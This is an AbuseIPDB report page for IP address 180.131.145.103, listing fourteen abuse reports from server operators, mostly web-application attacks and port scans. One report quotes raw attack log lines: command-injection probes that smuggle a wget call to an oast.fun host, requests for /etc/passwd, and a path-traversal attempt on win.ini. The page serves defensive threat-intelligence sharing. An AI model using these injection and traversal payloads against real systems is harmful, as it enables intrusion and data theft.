JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 180.131.145.103

180.131.145.103 was found in our database!

This IP was reported 14 times. Confidence of Abuse is 0%: ?

ISP	REGXA LLC
Usage Type	Data Center/Web Hosting/Transit
ASN	AS16276
Domain Name	regxa.com
Country	🇺🇸 United States of America
City	Hillsboro, Oregon

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 180.131.145.103

Whois 180.131.145.103

IP Abuse Reports for 180.131.145.103:

This IP address has been reported a total of 14 times from 12 distinct sources. 180.131.145.103 was first reported on October 28th 2025, and the most recent report was 3 months ago.

Old Reports: The most recent abuse report for this IP address is from 3 months ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 xmission.com	2026-02-26 10:44:44 (3 months ago)	180.131.145.103 - - [26/Feb/2026:02:00:28 -0700] "mac=1&ip=127.0.0.1\|wget d6g0km116vc7fpdof4o0yqyw71 ... show more 180.131.145.103 - - [26/Feb/2026:02:00:28 -0700] "mac=1&ip=127.0.0.1\|wget d6g0km116vc7fpdof4o0yqyw71j4hycar.oast.fun" 400 150 "-" "-" 180.131.145.103 - - [26/Feb/2026:02:07:42 -0700] "mac=1&ip=127.0.0.1\|wget d6g0km116vc7fpdof4o0fgsdcsztp7d7h.oast.fun" 400 150 "-" "-" 180.131.145.103 - - [26/Feb/2026:02:16:50 -0700] "GET /etc/passwd HTTP/1.1" 400 150 "-" "-" 180.131.145.103 - - [26/Feb/2026:02:27:08 -0700] "GET /etc/passwd HTTP/1.1" 400 150 "-" "-" 180.131.145.103 - - [26/Feb/2026:03:44:44 -0700] "GET //css//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows\x5Cwin.ini HTTP/1.1" 400 150 "-" "-" ... show less	Web App Attack
🇫🇷 dynamix	2026-02-06 01:35:49 (4 months ago)	Multiple WAF Violations	Web App Attack
🇳🇱 vaddilyin	2026-02-06 01:35:35 (4 months ago)	{"ClientAddr":"180.131.145.103:40226","ClientHost":"180.131.145.103","ClientPort":"40226","ClientUse ... show more {"ClientAddr":"180.131.145.103:40226","ClientHost":"180.131.145.103","ClientPort":"40226","ClientUsername":"-","DownstreamContentSize":19,"DownstreamStatus":404,"Duration":41701,"GzipRatio":0,"OriginContentSize":0,"OriginDuration":0,"OriginStatus":0,"Overhead":41701,"RequestAddr":"rss.vdkln.com","RequestContentSize":0,"RequestCount":378855,"RequestHost":"rss.vdkln.com","RequestMethod":"POST","RequestPath":"/guest_auth/guestIsUp.php","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"https","RetryAttempts":0,"StartLocal":"2026-02-06T01:35:31.970510377Z","StartUTC":"2026-02-06T01:35:31.970510377Z","TLSCipher":"TLS_AES_128_GCM_SHA256","TLSVersion":"1.3","entryPointName":"websecure","level":"info","msg":"","time":"2026-02-06T01:35:31Z"} {"ClientAddr":"180.131.145.103:40578","ClientHost":"180.131.145.103","ClientPort":"40578","ClientUsername":"-","DownstreamContentSize":19,"DownstreamStatus":404,"Duration":35437,"GzipRatio":0,"OriginContentSize":0,"OriginDuration":0,"OriginStat ... show less	Web App Attack
🇧🇪 cmbplf	2026-01-11 10:32:51 (5 months ago)	137 requests with url.path *config.json	Brute-Force Bad Web Bot
🇺🇸 CareDev	2026-01-09 21:00:07 (5 months ago)	PHP object injection / deserialization attack attempt on Laravel/Livewire application	Hacking Web App Attack
Anonymous	2025-12-09 12:38:17 (6 months ago)	"Malicius Bot Scanner"	Web App Attack
🇮🇩 hermawan	2025-11-06 19:55:31 (7 months ago)	[Fri Nov 07 01:15:15.395433 2025] [security2:error] [pid 1068348:tid 140566285248192] [client 180.13 ... show more [Fri Nov 07 01:15:15.395433 2025] [security2:error] [pid 1068348:tid 140566285248192] [client 180.131.145.103:46810] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "utf-8" at REQUEST_HEADERS:Accept-Charset. [file "/etc/modsecurity/coreruleset-4.19.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "351"] [id "440015"] [msg "Bot Accept-Charset utf-8"] [data "Matched Data: utf-8 found within REQUEST_HEADERS:Accept-Charset: utf-8 request_line = GET / HTTP/1.1"] [severity "NOTICE"] [hostname "staklim-jatim.bmkg.go.id"] [uri "/"] [unique_id "aQzls1KU7BoeFkxCYFZ3iAAAA8k"] [staklim-jatim.bmkg.go.id] [staklim-jatim.bmkg.go.id] top=[1068384] [5z7kC/E6aW8] [aQzls1KU7BoeFkxCYFZ3iAAAA8k] keep_alive=[0] [2025-11-07 01:15:15.395439] [R:aQzls1KU7BoeFkxCYFZ3iAAAA8k] UA:'Mozilla/5.0 (Fedora; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0' Host:'staklim-jatim.bmkg.go.id' Accept-Encoding:'gzip ... show less	Hacking Web App Attack
🇮🇩 Burayot	2025-11-03 16:04:20 (7 months ago)	LF_MODSEC: (mod_security) mod_security (id:949110) triggered by 180.131.145.103 (US/United States/-) ... show more LF_MODSEC: (mod_security) mod_security (id:949110) triggered by 180.131.145.103 (US/United States/-): 1 in the last 3600 secs show less	Web App Attack
🇳🇱 i-turnradio.nl	2025-11-03 07:21:56 (7 months ago)	2025-11-03 @ 08:21:55 (CET) ~ Blocked based on risk assessment and prior abuse reports	Web App Attack
🇵🇱 Niko's Stuff	2025-11-02 13:34:37 (7 months ago)	[1x] Triggered application-multi,language-multi platform-multi,attack-generic \| Score: 8 \| Msg: Inbo ... show more [1x] Triggered application-multi,language-multi platform-multi,attack-generic \| Score: 8 \| Msg: Inbound Anomaly Score Exceeded (Total Score: 8) \| Uri: / \| Client: 180.131.145.103 180.131.145.103 \| Hostname: 83.168.107.72 \| Blocked web application firewall detected attack show less	Brute-Force
🇮🇩 Burayot	2025-11-02 02:07:40 (7 months ago)	LF_MODSEC: (mod_security) mod_security (id:949110) triggered by 180.131.145.103 (US/United States/-) ... show more LF_MODSEC: (mod_security) mod_security (id:949110) triggered by 180.131.145.103 (US/United States/-): 1 in the last 3600 secs show less	Web App Attack
🇫🇷 oonux.net	2025-11-01 04:44:28 (7 months ago)	RouterOS: Scanning detected TCP 180.131.145.103:57490 > x.x.x.x:443	Port Scan
🇫🇷 Little Iguana	2025-10-31 11:12:00 (7 months ago)	trying to access non-authorized port	Port Scan
🇮🇩 Burayot	2025-10-28 13:16:23 (7 months ago)	LF_MODSEC: (mod_security) mod_security (id:949110) triggered by 180.131.145.103 (US/United States/-) ... show more LF_MODSEC: (mod_security) mod_security (id:949110) triggered by 180.131.145.103 (US/United States/-): 1 in the last 3600 secs show less	Web App Attack

Showing 1 to 14 of 14 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇲🇽 187.190.35.163

🇿🇦 197.185.140.204

🇷🇺 195.112.96.163

🇨🇱 190.114.33.53

🇵🇱 172.253.255.59

🇮🇶 169.224.100.60

🇺🇸 162.216.150.214

🇧🇩 160.25.5.221

🇪🇸 158.173.36.159

🇮🇳 157.42.22.255

🇨🇦 85.217.149.64

🇷🇴 80.94.95.211

🇮🇱 79.177.129.94

🇺🇸 44.107.79.228

🇻🇳 14.229.54.129

🇬🇧 8.208.10.94

🇹🇷 212.252.117.178

🇨🇭 176.65.144.128

🇺🇸 167.148.85.111

🇺🇸 164.92.91.136